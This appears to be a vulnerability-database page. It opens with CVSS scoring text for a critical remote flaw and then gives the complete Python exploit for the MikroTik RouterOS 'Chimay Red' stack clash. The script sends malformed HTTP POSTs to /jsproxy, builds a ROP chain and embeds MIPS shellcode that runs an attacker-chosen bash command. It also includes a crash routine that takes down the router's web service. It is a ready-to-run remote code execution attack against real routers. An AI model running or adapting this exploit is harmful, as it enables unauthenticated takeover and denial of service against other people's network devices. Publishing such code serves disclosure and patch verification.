The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: MikroTik RouterOS Chimay Red Stack Clash Remote Code Execution
#!/usr/bin/env python3
# Mikrotik Chimay Red Stack Clash Exploit by BigNerd95
# Tested on RouterOS 6.38.4 (mipsbe) [using a CRS109]
# Used tools: pwndbg, rasm2, mipsrop for IDA
# I used ropper only to automatically find gadgets
# ASLR enabled on libs only
# DEP NOT enabled
import socket, time, sys, struct, re
from ropper import RopperService
AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!
ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain
class MyRopper():
def __init__(self, filename):
self.rs = RopperService()
self.rs.clearCache()
self.rs.addFile(filename)
self.rs.loadGadgetsFor()
self.rs.options.inst_count = 10
self.rs.loadGadgetsFor()
self.rs.loadGadgetsFor() # sometimes Ropper doesn't update new gadgets
def get_gadgets(self, regex):
gadgets = []
for _, g in self.rs.search(search=regex):
gadgets.append(g)
if len(gadgets) > 0:
return gadgets
else:
raise Exception("Cannot find gadgets!")
def contains_string(self, string):
s = self.rs.searchString(string)
t = [a for a in s.values()][0]
return len(t) > 0
def get_arch(self):
return self.rs.files[0].arch._name
@staticmethod
def get_ra_offset(gadget):
"""
Return the offset of next Retun Address on the stack
So you know how many bytes to put before next gadget address
Eg:
lw $ra, 0xAB ($sp) --> return: 0xAB
"""
for line in gadget.lines:
offset_len = re.findall("lw \$ra, (0x[0-9a-f]+)\(\$sp\)", line[1])
if offset_len:
return int(offset_len[0], 16)
raise Exception("Cannot find $ra offset in this gadget!")
def makeHeader(num):
return b"POST /jsproxy HTTP/1.1\r\nContent-Length: " + bytes(str(num), 'ascii') + b"\r\n\r\n"
def makeSocket(ip, port):
s = socket.socket()
try:
s.connect((ip, port))
except:
print("Error connecting to socket")
sys.exit(-1)
print("Connected")
time.sleep(0.5)
return s
def socketSend(s, data):
try:
s.send(data)
except:
print("Error sending data")
sys.exit(-1)
print("Sent")
time.sleep(0.5)
def build_shellcode(shellCmd):
shell_code = b''
shellCmd = bytes(shellCmd, "ascii")
# Here the shellcode will write the arguments for execve: ["/bin/bash", "-c", "shellCmd", NULL] and [NULL]
# XX XX XX XX <-- here the shell code will write the address of string "/bin/bash" [shellcode_start_address -16] <--- argv_array
# XX XX XX XX <-- here the shell code will write the address of string "-c" [shellcode_start_address -12]
# XX XX XX XX <-- here the shell code will write the address of string "shellCmd" [shellcode_start_address -8]
# XX XX XX XX <-- here the shell code will write 0x00000000 (used as end of argv_array and as envp_array) [shellcode_start_address -4] <--- envp_array
# The shell code execution starts here!
shell_code += struct.pack('>L', 0x24500000) # addiu s0, v0, 0 # s0 = v0 Save the shellcode_start_address in s0 (in v0 we have the address of the stack where the shellcode starts [<-- pointing to this location exactly])
shell_code += struct.pack('>L', 0x24020fa2) # addiu v0, zero, 0xfa2 # v0 = 4002 (fork) Put the syscall number of fork (4002) in v0
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start fork()
shell_code += struct.pack('>L', 0x10400003) # beqz v0, 0x10 # jump 12 byte forward if v0 == 0 Jump to execve part of the shellcode if PID is 0
# if v0 != 0 [res of fork()]
shell_code += struct.pack('>L', 0x24020001) # addiu v0, zero, 1 # a0 = 1 Put exit parameter in a0
shell_code += struct.pack('>L', 0x24020fa1) # addiu v0, zero, 0xfa1 # v0 = 4001 (exit) Put the syscall number of exit (4002) in v0
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start exit(1)
# if v0 == 0 [res of fork()]
shell_code += struct.pack('>L', 0x26040050) # addiu a0, s0, 0x50 # a0 = shellcode_start_address + 0x50 Calculate the address of string "/bin/bash" and put it in a0 (the first parameter of execve)
shell_code += struct.pack('>L', 0xae04fff0) # sw a0, -16(s0) # shellcode_start_address[-16] = bin_bash_address Write in the first entry of the "argv" array the address of the string "/bin/bash"
shell_code += struct.pack('>L', 0x26110060) # addiu s1, s0, 0x60 # s1 = shellcode_start_address + 0x60 Calculate the address of string "-c" and put it in s1
shell_code += struct.pack('>L', 0xae11fff4) # sw s1, -12(s0) # shellcode_start_address[-12] = c_address Write in the second entry of the "argv" array the address of the string "-c"
shell_code += struct.pack('>L', 0x26110070) # addiu s1, s0, 0x70 # s1 = shellcode_start_address + 0x70 Calculate the address of string "shellCmd" and put it in s1
shell_code += struct.pack('>L', 0xae11fff8) # sw s1, -8(s0) # shellcode_start_address[-8] = shellCmd_address Write in the third entry of the "argv" array the address of the string "shellCmd"
shell_code += struct.pack('>L', 0xae00fffc) # sw zero, -4(s0) # shellcode_start_address[-4] = 0x00 Write NULL address as end of argv_array and envp_array
shell_code += struct.pack('>L', 0x2205fff0) # addi a1, s0, -16 # a1 = shellcode_start_address - 16 Put the address of argv_array in a1 (the second parameter of execve)
shell_code += struct.pack('>L', 0x2206fffc) # addi a2, s0, -4 # a2 = shellcode_start_address - 4 Put the address of envp_array in a2 (the third parameter of execve)
shell_code += struct.pack('>L', 0x24020fab) # addiu v0, zero, 0xfab # v0 = 4011 (execve) Put the syscall number of execve (4011) in v0 (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h)
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start execve("/bin/bash", ["/bin/bash", "-c", "shellCmd", NULL], [NULL])
shell_code += b'P' * (0x50 - len(shell_code)) # offset to simplify string address calculation
shell_code += b'/bin/bash\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x50] <--- bin_bash_address
shell_code += b'P' * (0x60 - len(shell_code)) # offset to simplify string address calculation
shell_code += b'-c\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x60] <--- c_address
shell_code += b'P' * (0x70 - len(shell_code)) # offset to simplify string address calculation
shell_code += shellCmd + b'\x00' # [shellcode_start + 0x70] <--- shellCmd_address
return shell_code
def build_payload(binRop, shellCmd):
print("Building shellcode + ROP chain...")
ropChain = b''
shell_code = build_shellcode(shellCmd)
# 1) Stack finder gadget (to make stack pivot)
stack_finder = binRop.get_gadgets("addiu ?a0, ?sp, 0x18; lw ?ra, 0x???(?sp% jr ?ra;")[0]
"""
0x0040ae04: (ROS 6.38.4)
addiu $a0, $sp, 0x18 <--- needed action
lw $ra, 0x5fc($sp) <--- jump control [0x5fc, a lot of space for the shellcode!]
lw $s3, 0x5f8($sp)
lw $s2, 0x5f4($sp)
lw $s1, 0x5f0($sp)
lw $s0, 0x5ec($sp)
move $v0, $zero
jr $ra
"""
ropChain += struct.pack('>L', stack_finder.address)
# Action: addiu $a0, $sp, 0x600 + var_5E8 # a0 = stackpointer + 0x18
# Control Jump: jr 0x600 + var_4($sp)
# This gadget (moreover) allows us to reserve 1512 bytes inside the rop chain
# to store the shellcode (beacuse of: jr 0x600 + var_4($sp))
ropChain += b'B' * 0x18 # 0x600 - 0x5E8 = 0x18 (in the last 16 bytes of this offset the shell code will write the arguments for execve)
ropChain += shell_code # write the shell code in this "big" offset
next_gadget_offset = MyRopper.get_ra_offset(stack_finder) - 0x18 - len(shell_code)
if next_gadget_offset < 0: # check if shell command fits inside this big offset
raise Exception("Shell command too long! Max len: " + str(next_gadget_offset + len(shellCmd)) + " bytes")
ropChain += b'C' * next_gadget_offset # offset because of this: 0x600 + var_4($sp)
# 2) Copy a0 in v0 because of next gadget
mov_v0_a0 = binRop.get_gadgets("lw ?ra, %move ?v0, ?a0;% jr ?ra;")[0]
"""
0x00414E58: (ROS 6.38.4)
lw $ra, 0x24($sp); <--- jump control
lw $s2, 0x20($sp);
lw $s1, 0x1c($sp);
lw $s0, 0x18($sp);
move $v0, $a0; <--- needed action
jr $ra;
"""
ropChain += struct.pack('>L', mov_v0_a0.address)
# Gadget Action: move $v0, $a0 # v0 = a0
# Gadget Control: jr 0x28 + var_4($sp)
ropChain += b'D' * MyRopper.get_ra_offset(mov_v0_a0) # offset because of this: 0x28 + var_4($sp)
# 3) Jump to the stack (start shell code)
jump_v0 = binRop.get_gadgets("move ?t9, ?v0; jalr ?t9;")[0]
"""
0x00412540: (ROS 6.38.4)
move $t9, $v0; <--- jump control
jalr $t9; <--- needed action
"""
ropChain += struct.pack('>L', jump_v0.address)
# Gadget Action: jalr $t9 # jump v0
# Gadget Control: jalr $v0
return ropChain
def stackClash(ip, port, payload):
print("Opening 2 sockets")
# 1) Start 2 threads
# open 2 socket so 2 threads are created
s1 = makeSocket(ip, port) # socket 1, thread A
s2 = makeSocket(ip, port) # socket 2, thread B
print("Stack clash...")
# 2) Stack Clash
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
# 2.2) send some bytes as post data to socket 1 (thread A)
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
print("Sending payload")
# 3) Send ROP chain and shell code
socketSend(s1, payload)
print("Starting exploit")
# 4) Start ROP chain
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
print("Done!")
def crash(ip, port):
print("Crash...")
s = makeSocket(ip, port)
socketSend(s, makeHeader(-1))
socketSend(s, b'A' * 0x1000)
s.close()
time.sleep(2.5) # www takes up to 3 seconds to restart
if __name__ == "__main__":
if len(sys.argv) == 5:
ip = sys.argv[1]
port = int(sys.argv[2])
binary = sys.argv[3]
shellCmd = sys.argv[4]
binRop = MyRopper(binary)
if binRop.get_arch() != 'MIPSBE':
raise Exception("Wrong architecture! You have to pass a mipsbe executable")
if binRop.contains_string("pthread_attr_setstacksize"):
AST_STACKSIZE = ROS_STACKSIZE
payload = build_payload(binRop, shellCmd)
crash(ip, port) # should make stack clash more reliable
stackClash(ip, port, payload)
else:
print("Usage: " + sys.argv[0] + " IP PORT binary shellcommand")
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